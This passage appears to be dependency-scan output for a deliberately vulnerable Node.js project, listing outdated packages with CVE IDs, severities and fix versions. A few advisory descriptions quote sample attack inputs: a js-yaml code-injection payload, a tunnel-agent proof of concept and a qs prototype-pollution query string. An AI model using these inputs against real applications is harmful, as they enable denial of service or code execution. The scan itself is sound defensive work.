'version': '0.5.2', 'root': False}, {'name': 'form-data', 'version': '0.1.4', 'root': False}, {'name': 'hawk', 'version': '1.0.0', 'root': False, 'cves_index': [121, 122]}, {'name': 'hoek', 'version': '0.9.1', 'root': False, 'cves_index': [137, 138]}, {'name': 'http-signature', 'version': '0.10.1', 'root': False}, {'name': 'lodash', 'version': '2.4.2', 'root': False, 'cves_index': [128, 129, 123, 124, 125, 126, 127]}, {'name': 'mime', 'version': '1.2.11', 'root': False, 'cves_index': [118]}, {'name': 'oauth-sign', 'version': '0.3.0', 'root': False}, {'name': 'qs', 'version': '0.6.6', 'root': False, 'cves_index': [132, 133, 134, 135, 136]}, {'name': 'request', 'version': '2.36.0', 'root': False, 'cves_index': [130]}, {'name': 'sntp', 'version': '0.2.4', 'root': False}], 'sourceId': 'ajbara_cli_repo/ScaGoat-main', 'sourceType': 'CLI', 'type': 'Package', 'vulnerabilities': [{'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-3807', 'link': 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'description': 'ansi-regex is vulnerable to Inefficient Regular Expression Complexity', 'packageVersion': '3.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'ansi-regex', 'publishedDate': '2021-09-17T07:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.1.1'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-8244', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8244', 'description': 'A buffer over-read vulnerability exists in bl <4.0.3, <3.0.1, <2.2.1, and <1.2.3 which could allow an attacker to supply user input (even typed) that if it ends up in consume() argument and can become negative, the BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.', 'packageVersion': '1.0.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L', 'packageName': 'bl', 'publishedDate': '2020-08-30T15:15:00Z', 'cvss': 4, 'status': 'fixed in 2.2.1, 1.2.3, 4.0.3, 3.0.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-43138', 'link': 'https://github.com/advisories/GHSA-fwr7-v2mv-hh25', 'description': 'In Async before 2.6.4 and 3.x before 3.2.2, a malicious user can obtain privileges via the mapValues() method, aka lib/internal/iterator.js createObjectIterator prototype pollution.', 'packageVersion': '2.6.3', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'packageName': 'async', 'publishedDate': '2022-04-06T17:15:00Z', 'cvss': 7, 'status': 'fixed in 2.6.4, 3.2.2'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'PRISMA-2021-0034', 'link': '', 'description': 'adm-zip package versions before 0.5.3 are vulnerable to Directory Traversal. It could extract files outside the target folder. origin: https://github.com/cthackers/adm-zip/commit/119dcad6599adccc77982feb14a0c7440fa63013', 'packageVersion': '0.4.4', 'vector': '', 'packageName': 'adm-zip', 'publishedDate': '2021-03-03T11:06:55Z', 'cvss': 0, 'status': 'fixed in 0.5.3'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1002204', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1002204', 'description': \"adm-zip npm library before 0.4.9 is vulnerable to directory traversal, allowing attackers to write to arbitrary files via a ../ (dot dot slash) in a Zip archive entry that is mishandled during extraction. This vulnerability is also known as \\\\'Zip-Slip\\\\'.\", 'packageVersion': '0.4.4', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N', 'packageName': 'adm-zip', 'publishedDate': '2018-07-25T17:29:00Z', 'cvss': 5.5, 'status': 'fixed in 0.4.9'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21803', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-21803', 'description': 'This affects the package nconf before 0.11.4. When using the memory engine, it is possible to store a nested JSON representation of the configuration. The .set() function, that is responsible for setting the configuration properties, is vulnerable to Prototype Pollution. By providing a crafted property, it is possible to modify the properties on the Object.prototype.', 'packageVersion': '0.6.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'nconf', 'publishedDate': '2022-04-12T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 0.11.4'}, {'severity': 'moderate', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-2391', 'link': 'https://github.com/advisories/GHSA-4jwp-vfvf-657p', 'description': 'Incorrect parsing of certain JSON input may result in js-bson not correctly serializing BSON. This may cause unexpected application behaviour including data disclosure. This issue affects: MongoDB Inc. js-bson library version 1.1.3 and prior to.', 'packageVersion': '1.0.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N', 'packageName': 'bson', 'publishedDate': '2020-03-31T14:15:00Z', 'cvss': 4, 'status': 'fixed in 1.1.4'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7610', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7610', 'description': \"All versions of bson before 1.1.4 are vulnerable to Deserialization of Untrusted Data. The package will ignore an unknown value for an object\\\\'s _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.\", 'packageVersion': '1.0.9', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'bson', 'publishedDate': '2020-03-30T19:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.1.4'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16137', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16137', 'description': 'The debug module is vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter. It takes around 50k characters to block for 2 seconds making this a low severity issue.', 'packageVersion': '2.2.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'debug', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 5.3, 'status': 'fixed in 3.1.0, 2.6.9'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Has fix': {}, 'Remote execution': {}}, 'cveId': 'PRISMA-2022-0049', 'link': 'https://github.com/jonschlinkert/unset-value/pull/12/commits/abb534769f6ea62c3dd988f5ce0a4ebd1f91b56', 'description': 'unset-value package versions before 2.0.1 are vulnerable to Prototype Pollution. unset() function in index.js files allows for access to object prototype properties. An attacker can exploit this to override the behavior of object prototypes, resulting in a possible Denial of Service (DoS), Remote Code Execution (RCE), or other unexpected behavior.', 'packageVersion': '1.0.0', 'vector': '', 'packageName': 'unset-value', 'publishedDate': '2022-02-21T10:09:35Z', 'cvss': 8, 'status': 'fixed in 2.0.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28469', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28469', 'description': 'This affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.', 'packageVersion': '3.1.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'glob-parent', 'publishedDate': '2021-06-03T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 5.1.2'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-7598', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7598', 'description': 'minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a \\\\\"constructor\\\\\" or \\\\\"__proto__\\\\\" payload.', 'packageVersion': '0.0.10', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'minimist', 'publishedDate': '2020-03-11T23:15:00Z', 'cvss': 5.6, 'status': 'fixed in 1.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '0.0.10', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'low', 'riskFactors': {'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-38900', 'link': 'https://github.com/advisories/GHSA-w573-4hg7-7wgq', 'description': 'decode-uri-component 0.2.0 is vulnerable to Improper Input Validation resulting in DoS.', 'packageVersion': '0.2.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'decode-uri-component', 'publishedDate': '2022-11-28T15:30:24Z', 'cvss': 1, 'status': 'fixed in 0.2.1'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-1000620', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000620', 'description': 'Eran Hammer cryptiles version 4.1.1 earlier contains a CWE-331: Insufficient Entropy vulnerability in randomDigits() method that can result in An attacker is more likely to be able to brute force something that was supposed to be random.. This attack appear to be exploitable via Depends upon the calling application.. This vulnerability appears to have been fixed in 4.1.2.', 'packageVersion': '2.0.5', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'cryptiles', 'publishedDate': '2018-07-19T00:00:00Z', 'cvss': 9, 'status': 'fixed in 4.1.2'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'GHSA-2pr6-76vf-7546', 'link': '', 'description': 'Versions of `js-yaml` prior to 3.13.0 are vulnerable to Denial of Service. By parsing a carefully-crafted YAML file, the node process stalls and may exhaust system resources leading to a Denial of Service.   ## Recommendation  Upgrade to version 3.13.0.', 'packageVersion': '3.6.1', 'vector': '', 'packageName': 'js-yaml', 'publishedDate': '2019-06-05T14:35:29Z', 'cvss': 4, 'status': 'fixed in 3.13.0'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-8j8c-7jfh-h6hx', 'link': '', 'description': 'Versions of `js-yaml` prior to 3.13.1 are vulnerable to Code Injection. The `load()` function may execute arbitrary code injected through a malicious YAML file. Objects that have `toString` as key, JavaScript code as value and are used as explicit mapping keys allow attackers to execute the supplied code through the `load()` function. The `safeLoad()` function is unaffected.  An example payload is  `{ toString: !<tag:yaml.org,2002:js/function> \\\\\\'function (){return Date.now()}\\\\\\' } : 1`  which returns the object  {   \\\\\"1553107949161\\\\\": 1 }   ## Recommendation  Upgrade to version 3.13.1.', 'packageVersion': '3.6.1', 'vector': '', 'packageName': 'js-yaml', 'publishedDate': '2019-06-04T20:14:07Z', 'cvss': 7, 'status': 'fixed in 3.13.1'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2021-0070', 'link': 'https://github.com/cypress-io/cypress/pull/16165', 'description': 'cypress package versions before 7.2.0 are vulnerable to Incorrect Default Permissions. contextIsolation setting not being set within webpreferences, so an attacker can insert JavaScript as part of test and can execute arbitrary code.', 'packageVersion': '3.8.3', 'vector': '', 'packageName': 'cypress', 'publishedDate': '2021-05-18T09:29:31Z', 'cvss': 0, 'status': 'fixed in 7.2.0'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'GHSA-xc7v-wxcw-j472', 'link': '', 'description': \"Versions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.  This is exploitable if user supplied input is provided to the auth value and is a number.  Proof-of-concept: ```js require(\\\\'request\\\\')({   method: \\\\'GET\\\\',   uri: \\\\'http://www.example.com\\\\',   tunnel: true,   proxy:{     protocol: \\\\'http:\\\\',     host:\\\\'127.0.0.1\\\\',     port:8080,     auth:USERSUPPLIEDINPUT // number   } }); ```   ## Recommendation  Update to version 0.6.0 or later.\", 'packageVersion': '0.4.3', 'vector': '', 'packageName': 'tunnel-agent', 'publishedDate': '2019-06-03T17:08:26Z', 'cvss': 4, 'status': 'fixed in 0.6.0'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-8203', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8203', 'description': 'Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.', 'packageVersion': '4.17.15', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2020-07-15T17:15:00Z', 'cvss': 7.4, 'status': 'fixed in 4.17.20'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23337', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23337', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.', 'packageVersion': '4.17.15', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2021-02-15T13:15:00Z', 'cvss': 7.2, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28500', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28500', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.', 'packageVersion': '4.17.15', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'lodash', 'publishedDate': '2021-02-15T11:15:00Z', 'cvss': 5.3, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-7598', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7598', 'description': 'minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a \\\\\"constructor\\\\\" or \\\\\"__proto__\\\\\" payload.', 'packageVersion': '1.2.0', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'minimist', 'publishedDate': '2020-03-11T23:15:00Z', 'cvss': 5.6, 'status': 'fixed in 1.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '1.2.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'GHSA-h6ch-v84p-w6p9', 'link': 'https://github.com/advisories/GHSA-h6ch-v84p-w6p9', 'description': 'A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.', 'packageVersion': '1.4.0', 'vector': '', 'packageName': 'diff', 'publishedDate': '2019-06-13T18:58:54Z', 'cvss': 7, 'status': 'fixed in 3.5.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-21803', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-21803', 'description': 'This affects the package nconf before 0.11.4. When using the memory engine, it is possible to store a nested JSON representation of the configuration. The .set() function, that is responsible for setting the configuration properties, is vulnerable to Prototype Pollution. By providing a crafted property, it is possible to modify the properties on the Object.prototype.', 'packageVersion': '0.10.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'nconf', 'publishedDate': '2022-04-12T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 0.11.4'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2020-7598', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7598', 'description': 'minimist before 1.2.2 could be tricked into adding or modifying properties of Object.prototype using a \\\\\"constructor\\\\\" or \\\\\"__proto__\\\\\" payload.', 'packageVersion': '0.0.8', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'minimist', 'publishedDate': '2020-03-11T23:15:00Z', 'cvss': 5.6, 'status': 'fixed in 1.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-44906', 'link': 'https://github.com/advisories/GHSA-xvch-5gv4-984h', 'description': 'Minimist <=1.2.5 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).', 'packageVersion': '0.0.8', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'minimist', 'publishedDate': '2022-03-17T16:15:00Z', 'cvss': 9.8, 'status': 'fixed in 1.2.6'}, {'severity': 'moderate', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2017-16026', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16026', 'description': 'Request is an http client. If a request is made using ```multipart```, and the body type is a ```number```, then the specified number of non-zero memory is passed in the body. This affects Request >=2.2.6 <2.47.0 || >2.51.0 <=2.67.0.', 'packageVersion': '2.67.0', 'vector': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N', 'packageName': 'request', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 4, 'status': 'fixed in 2.68.0, 2.68.0'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0087', 'link': 'https://github.com/ljharb/qs/issues/200', 'description': \"qs package versions before 6.3.1 are vulnerable to Prototype Pollution. It\\\\'s a bypass for CVE-2017-1000048, that only fixed ]=toString, but not fixed  [=toString. So it is possible to override prototype properties such as toString() for a nested object which exceeds the depth limit even when allowPrototypes is set to false.\", 'packageVersion': '5.2.1', 'vector': '', 'packageName': 'qs', 'publishedDate': '2022-03-17T09:41:42Z', 'cvss': 5.9, 'status': 'fixed in 6.3.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-24999', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-24999', 'description': 'qs before 6.10.3, as used in Express before 4.17.3 and other products, allows attackers to cause a Node process hang for an Express application because an __ proto__ key can be used. In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000. The fix was backported to qs 6.9.7, 6.8.3, 6.7.3, 6.6.1, 6.5.3, 6.4.1, 6.3.3, and 6.2.4 (and therefore Express 4.17.3, which has \\\\\"deps: qs@6.9.7\\\\\" in its release description, is not vulnerable).', 'packageVersion': '5.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2022-11-26T22:15:00Z', 'cvss': 7.5, 'status': 'fixed in 6.10.3'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-1000048', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000048', 'description': \"the web framework using ljharb\\\\'s qs module older than v6.3.2, v6.2.3, v6.1.2, and v6.0.4 is vulnerable to a DoS. A malicious user can send a evil request to cause the web framework crash.\", 'packageVersion': '5.2.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'qs', 'publishedDate': '2017-03-01T00:00:00Z', 'cvss': 7, 'status': 'fixed in 6.3.2, 6.2.3, 6.1.2, 6.0.4'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-1537', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-1537', 'description': \"file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write in GitHub repository gruntjs/grunt prior to 1.5.3. This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user\\\\'s .bashrc file or replace /etc/shadow file if the GruntJS user is root.\", 'packageVersion': '1.4.1', 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'grunt', 'publishedDate': '2022-05-10T14:15:00Z', 'cvss': 7, 'status': 'fixed in 1.5.3'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-0436', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-0436', 'description': 'Path Traversal in GitHub repository gruntjs/grunt prior to 1.5.2.', 'packageVersion': '1.4.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N', 'packageName': 'grunt', 'publishedDate': '2022-04-12T21:15:00Z', 'cvss': 5.5, 'status': 'fixed in 1.5.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3728', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3728', 'description': 'hoek node module before 4.2.0 and 5.0.x before 5.0.3 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via \\\\\\'merge\\\\\\' and \\\\\\'applyToDefaults\\\\\\' functions, which allows a malicious user to modify the prototype of \\\\\"Object\\\\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '2.16.3', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2018-03-30T19:29:00Z', 'cvss': 8.8, 'status': 'fixed in 5.0.3, 4.2.0'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-36604', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-36604', 'description': 'hoek before 8.5.1 and 9.x before 9.0.3 allows prototype poisoning in the clone function.', 'packageVersion': '2.16.3', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'hoek', 'publishedDate': '2022-09-23T06:15:00Z', 'cvss': 8.1, 'status': 'fixed in 9.0.3, 8.5.1'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'GHSA-c3m8-x3cg-qm2c', 'link': '', 'description': \"Versions of `helmet-csp` before to 2.9.1 are vulnerable to a Configuration Override affecting the application\\\\'s Content Security Policy (CSP). The package\\\\'s browser sniffing for Firefox deletes the `default-src` CSP policy, which is the fallback policy. This allows an attacker to remove an application\\\\'s default CSP, possibly rendering the application vulnerable to Cross-Site Scripting.   ## Recommendation  Upgrade to version 2.9.1 or later. Setting the `browserSniff` configuration to `false` in vulnerable versions also mitigates the issue.\", 'packageVersion': '1.2.2', 'vector': '', 'packageName': 'helmet-csp', 'publishedDate': '2020-09-03T20:39:53Z', 'cvss': 4, 'status': 'fixed in 2.9.1'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-43138', 'link': 'https://github.com/advisories/GHSA-fwr7-v2mv-hh25', 'description': 'In Async before 2.6.4 and 3.x before 3.2.2, a malicious user can obtain privileges via the mapValues() method, aka lib/internal/iterator.js createObjectIterator prototype pollution.', 'packageVersion': '2.6.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'packageName': 'async', 'publishedDate': '2022-04-06T17:15:00Z', 'cvss': 7, 'status': 'fixed in 2.6.4, 3.2.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-29167', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-29167', 'description': \"Hawk is an HTTP authentication scheme providing mechanisms for making authenticated HTTP requests with partial cryptographic verification of the request and response, covering the HTTP method, request URI, host, and optionally the request payload. Hawk used a regular expression to parse `Host` HTTP header (`Hawk.utils.parseHost()`), which was subject to regular expression DoS attack - meaning each added character in the attacker\\\\'s input increases the computation time exponentially. `parseHost()` was patched in `9.0.1` to use built-in `URL` class to parse hostname instead. `Hawk.authenticate()` accepts `options` argument. If that contains `host` and `port`, those would be used instead of a call to `utils.parseHost()`.\", 'packageVersion': '3.1.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'hawk', 'publishedDate': '2022-05-05T23:15:00Z', 'cvss': 7.5, 'status': 'fixed in 9.0.1'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-33987', 'link': 'https://github.com/advisories/GHSA-pfrx-2q88-qq97', 'description': 'The got package before 12.1.0 (also fixed in 11.8.5) for Node.js allows a redirect to a UNIX socket.', 'packageVersion': '6.7.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N', 'packageName': 'got', 'publishedDate': '2022-06-18T21:15:00Z', 'cvss': 5.3, 'status': 'fixed in 12.1.0'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2016-1000232', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-1000232', 'description': 'NodeJS Tough-Cookie version 2.2.2 contains a Regular Expression Parsing vulnerability in HTTP request Cookie Header parsing that can result in Denial of Service. This attack appear to be exploitable via Custom HTTP header passed by client. This vulnerability appears to have been fixed in 2.3.0.', 'packageVersion': '2.2.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'tough-cookie', 'publishedDate': '2016-07-22T00:00:00Z', 'cvss': 5.3, 'status': ''}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-15010', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-15010', 'description': 'A ReDoS (regular expression denial of service) flaw was found in the tough-cookie module before 2.3.3 for Node.js. An attacker that is able to make an HTTP request using a specially crafted cookie may cause the application to consume an excessive amount of CPU.', 'packageVersion': '2.2.2', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'tough-cookie', 'publishedDate': '2017-10-04T01:29:00Z', 'cvss': 7.5, 'status': 'fixed in 2.3.3'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16042', 'link': 